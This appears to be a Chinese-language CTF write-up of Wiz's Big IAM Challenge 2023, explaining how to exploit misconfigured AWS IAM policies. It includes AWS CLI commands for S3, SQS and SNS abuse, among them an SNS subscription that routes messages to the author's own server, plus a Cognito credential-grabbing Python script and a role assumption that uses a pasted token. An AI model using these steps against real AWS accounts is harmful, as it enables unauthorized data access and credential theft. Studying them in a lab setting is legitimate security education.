The Big IAM Challenge 2023

2023-07-15

趁這次來記錄一下 游 wiz 舉辦的 IAM CTF challenge
https://www.wiz.io/blog/the-big-iam-challenge

Challenge 1

View IAM Policy


問題出在這個 Policy
允許("Effect": "Allow"
任何主體("Principal": "*"
針對 thebigiamchallenge-storage-9979f4b ("Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
進行 GetObject 的行為("Action": "s3:GetObject"

並同時允許("Effect": "Allow"
任何主體("Principal": "*"
針對 thebigiamchallenge-storage-9979f4b ("Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b"
列出("Action": "s3:ListBucket"
以 files/ 為前綴的資源

1
2
3
4
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}

參考:
AWS - S3, Athena & Glacier Enum - HackTricks Cloud

解法:
aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/

aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/

除了 ls 和 cp 以外還有其他參數供參考

Challenge 2

View IAM Policy

問題出在這個 Policy
允許("Effect": "Allow"
任何主體("Principal": "*"
針對 arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2("Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
執行 SendMessage 和 ReceiveMessage 的行為

1
2
3
4
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],

參考:
AWS - SQS Post Exploitation - HackTricks Cloud
Get SQS Queue URL from ARN · Issue #15 · aws/aws-sdk (github.com)

1
2
3
4
# from this:  
# arn:aws:sqs:eu-west-2:XXXXXXXXXXXX:sqs003
# to this:
# [https://sqs.eu-west-2.amazonaws.com/XXXXXXXXXXXX/TestInputQueue](https://sqs.eu-west-2.amazonaws.com/XXXXXXXXXXXX/TestInputQueue)

解法:
aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

Challenge 3

View IAM Policy


問題出在這個 Policy
允許("Effect": "Allow"
任何 AWS 的主體("Principal":{ AWS:"*"})
針對 arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications("Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications"
限制以 @​tbic.wiz.io 為結尾的 Endpoint 端 (過於鬆散)

1
2
3
4
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}

執行 Subscribe 的行為("Action": "SNS:Subscribe"

參考:
AWS - SNS Post Exploitation - HackTricks Cloud
AWS - SNS Enum - HackTricks Cloud
搭配 AWS CLI 使用 Amazon SNS - AWS Command Line Interface
Subscribing to an Amazon SNS topic - Amazon Simple Notification Service

解法:
首先用
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint [email protected] 嘗試

看起來有成功發信,但沒有那個信箱所以收不到信,嘗試其他 protocol

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://[public ip]:8080/@tbic.wiz.io

在 server 聽特定的 port 就會看到訂閱確認的 Link 了

訪問 Link 過沒多久就收到 flag 了

Challenge 4

View IAM Policy

相同的地方就不再贅述,跟第一題差異的地方是他的 ListBucket 行為限制了特定的 ARN 才能進行

1
2
3
4
5
6
7
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}

參考:
AWS - S3, Athena & Glacier Enum - HackTricks Cloud

解法:
前面嘗試做 enum,但都沒什麼結果

最後試 --no-sign-request 成功了,看來這個可以用來 bypass PrincipalArn
aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request

Challenge 5

View IAM Policy

參考:
Exploiting weak configurations in Amazon Cognito | by Pankaj Mouriya | Appsecco

解法:
主要是多了 AWS Cognito 身分驗證的機制

根據上面找到的作法來做,在 response body 找到 key 的資訊

原本想透過 aws 的 cli 做,但卡在 read-only,所以改到自己的主機上做

其實只要把對應的資訊填入 aws configure 檔案裡面就好(~/.aws/credentials)

Challenge 6

View IAM Policy

參考:
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc

解法:

先說說最終目標,根據網站描述,要進行 AssumeRoleWithWebIdentity 必須要有 token

於是下面開始嘗試取得 token
首先根據上面的資料寫出 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

region = "us-east-1"
id_pool_id = 'us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

leak 出登入資訊

將 leak 出的資訊匯入 aws configure
aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b --profile test2

aws cognito-identity get-open-id-token --identity-id us-east-1:6e61a4c1-1bed-45f1-905d-86e71f158c28 --profile test2

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name sessionname --web-identity-token eyJraWQiOiJ1cy1lYXN0LTEzIiwidHlwIjoiSldTIiwiYWxnIjoiUlM1MTIifQ.eyJzdWIiOiJ1cy1lYXN0LTE6NmU2MWE0YzEtMWJlZC00NWYxLTkwNWQtODZlNzFmMTU4YzI4IiwiYXVkIjoidXMtZWFzdC0xOmI3M2NiMmQyLTBkMDAtNGU3Ny04ZTgwLWY5OWQ5YzEzZGEzYiIsImFtciI6WyJ1bmF1dGhlbnRpY2F0ZWQiXSwiaXNzIjoiaHR0cHM6Ly9jb2duaXRvLWlkZW50aXR5LmFtYXpvbmF3cy5jb20iLCJleHAiOjE2ODk0NTg5MTEsImlhdCI6MTY4OTQ1ODMxMX0.P-EmLVvd58kavFESF1TruTPUDRXxEQ56Q1xNY_FT2rXt_mZAywjqqamBO5_EdaeZ59YVyoVuHfJhR8B58h14Dw8uvq30i77qKfxHID4LfsYUuwdrSTMJO7Tl6ZC-EjvhZS8kwd81_yFegZU6K75kvxn8nYQQc3qYjz0n6DZJCkaYpI7bapiWadcdpyRVD_Wdk3S9onmMLP1_HJwdMIpLmOYnoEkU5pGf1A6laxWZISOdJaprbYen_wnTbaSuZD98AL4EF9WJ-GrkoxboACjScQ48h24a-uYsYpbA5J21MiHipDBXu8YEa5MtScqY7KHP_ORkdJbPBlGApq74pj1XGg --profile test2

一切照著 hacktrick 做,只是把 --no-sign 換成帶 credential 了

這樣就取得 IAM session creds 了,一樣帶入 aws configure